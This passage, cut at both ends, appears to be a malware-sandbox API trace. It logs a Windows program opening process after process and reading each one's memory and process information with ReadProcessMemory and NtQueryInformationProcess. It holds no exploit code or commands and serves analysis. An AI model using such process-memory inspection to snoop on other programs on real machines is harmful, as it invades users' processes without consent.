(in: hProcess=0x16c, lpBaseAddress=0x701d30, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.911] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7018f8, lpBuffer=0x2dc22fc240, nSize=0x7e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.913] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.914] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x28c020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7012e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.915] malloc (_Size=0x86) returned 0x20abc2aa2a0 [0292.915] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x701976, lpBuffer=0x20abc2aa2a0, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa2a0*, lpNumberOfBytesRead=0x0) returned 1 [0292.916] free (_Block=0x20abc2aa2a0) [0292.935] CloseHandle (hObject=0x16c) returned 1 [0292.936] _ui64tow_s (in: _Value=0x105c, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4188") returned 0x0 [0292.940] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4188") returned 4 [0292.941] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.941] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0292.960] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x105c) returned 0x16c [0292.960] GetLastError () returned 0x0 [0292.962] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0292.962] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0292.962] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0292.962] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0292.963] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0292.968] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0292.970] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0292.970] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x38d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0292.971] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0292.971] malloc (_Size=0x76) returned 0x20abc282120 [0292.971] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5a1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0292.971] free (_Block=0x20abc282120) [0292.972] CloseHandle (hObject=0x16c) returned 1 [0292.973] _ui64tow_s (in: _Value=0x1064, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4196") returned 0x0 [0292.977] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4196") returned 4 [0292.978] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0292.978] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.019] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1064) returned 0x16c [0293.019] GetLastError () returned 0x0 [0293.021] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.021] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.021] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.021] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511ca0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.021] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5118f8, lpBuffer=0x2dc22fc240, nSize=0x50, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.022] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.024] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.024] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x264020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.024] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5112e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.024] malloc (_Size=0x58) returned 0x20abc2a71e0 [0293.024] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x511948, lpBuffer=0x20abc2a71e0, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2a71e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.025] free (_Block=0x20abc2a71e0) [0293.030] CloseHandle (hObject=0x16c) returned 1 [0293.031] _ui64tow_s (in: _Value=0x1070, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4208") returned 0x0 [0293.038] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4208") returned 4 [0293.040] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.040] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.075] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1070) returned 0x16c [0293.075] GetLastError () returned 0x0 [0293.076] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.076] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.077] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.077] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a1cd0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.077] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a18f8, lpBuffer=0x2dc22fc240, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.078] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.080] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.080] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x48d020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.080] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.080] malloc (_Size=0x6a) returned 0x20abc2831b0 [0293.080] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2a195a, lpBuffer=0x20abc2831b0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2831b0*, lpNumberOfBytesRead=0x0) returned 1 [0293.081] free (_Block=0x20abc2831b0) [0293.082] CloseHandle (hObject=0x16c) returned 1 [0293.082] _ui64tow_s (in: _Value=0x1080, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4224") returned 0x0 [0293.086] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4224") returned 4 [0293.087] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.087] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.148] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1080) returned 0x16c [0293.148] GetLastError () returned 0x0 [0293.150] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.150] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.150] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.153] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d18f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.155] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.156] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2b9020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.156] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.157] malloc (_Size=0x76) returned 0x20abc282120 [0293.157] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1d1966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0293.158] free (_Block=0x20abc282120) [0293.158] CloseHandle (hObject=0x16c) returned 1 [0293.362] _ui64tow_s (in: _Value=0x1088, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4232") returned 0x0 [0293.366] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4232") returned 4 [0293.367] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.367] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.384] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1088) returned 0x16c [0293.384] GetLastError () returned 0x0 [0293.386] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.388] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x451cb0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.389] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4518f8, lpBuffer=0x2dc22fc240, nSize=0x56, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.390] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.392] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.392] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x258020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.392] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4512e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.392] malloc (_Size=0x5e) returned 0x20abc280840 [0293.392] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x45194e, lpBuffer=0x20abc280840, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0293.393] free (_Block=0x20abc280840) [0293.394] CloseHandle (hObject=0x16c) returned 1 [0293.394] _ui64tow_s (in: _Value=0x1094, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4244") returned 0x0 [0293.398] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4244") returned 4 [0293.399] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.399] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.455] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x1094) returned 0x16c [0293.455] GetLastError () returned 0x0 [0293.456] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.456] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.457] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.457] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1cc0, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.457] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e18f8, lpBuffer=0x2dc22fc240, nSize=0x5c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.458] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.460] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.460] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x58b020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.460] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e12e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.460] malloc (_Size=0x64) returned 0x20abc280840 [0293.460] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1e1954, lpBuffer=0x20abc280840, nSize=0x62, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc280840*, lpNumberOfBytesRead=0x0) returned 1 [0293.461] free (_Block=0x20abc280840) [0293.461] CloseHandle (hObject=0x16c) returned 1 [0293.462] _ui64tow_s (in: _Value=0x10a4, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4260") returned 0x0 [0293.467] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4260") returned 4 [0293.468] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.468] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc22fc4b8 | out: _Buffer="10.0.10586") returned 10 [0293.536] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x10a4) returned 0x16c [0293.536] GetLastError () returned 0x0 [0293.537] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc510, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc510, ReturnLength=0x0) returned 0x0 [0293.537] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393018, lpBuffer=0x2dc22fc4e0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4e0*, lpNumberOfBytesRead=0x0) returned 1 [0293.538] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc22fc4d0, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc4d0*, lpNumberOfBytesRead=0x0) returned 1 [0293.538] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561d00, lpBuffer=0x2dc22fc8f0, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc8f0*, lpNumberOfBytesRead=0x0) returned 1 [0293.538] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5618f8, lpBuffer=0x2dc22fc240, nSize=0x6e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc240*, lpNumberOfBytesRead=0x0) returned 1 [0293.540] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc22fc540, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc540, ReturnLength=0x0) returned 0x0 [0293.544] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc22fc018, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc22fc018, ReturnLength=0x0) returned 0x0 [0293.545] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x393020, lpBuffer=0x2dc22fc000, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc000*, lpNumberOfBytesRead=0x0) returned 1 [0293.545] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x5612e0, lpBuffer=0x2dc22fc050, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc22fc050*, lpNumberOfBytesRead=0x0) returned 1 [0293.545] malloc (_Size=0x76) returned 0x20abc282120 [0293.545] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x561966, lpBuffer=0x20abc282120, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0293.546] free (_Block=0x20abc282120) [0293.546] CloseHandle (hObject=0x16c) returned 1 [0293.547] _ui64tow_s (in: _Value=0x10ac, _Buffer=0x2dc22fd410, _BufferCount=0x104, _Radix=10 | out: _Buffer="4268") returned 0x0 [0293.552] _vsnwprintf (in: _Buffer=0x2dc22fd130, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc22fc4b8 | out: _Buffer="4268") returned 4 [0293.554] GetVersionExW (in: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc22fc570*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0293.554] _vsnwprintf (in: _Buffer=0x2dc22fcf20, _BufferCount=0x103, 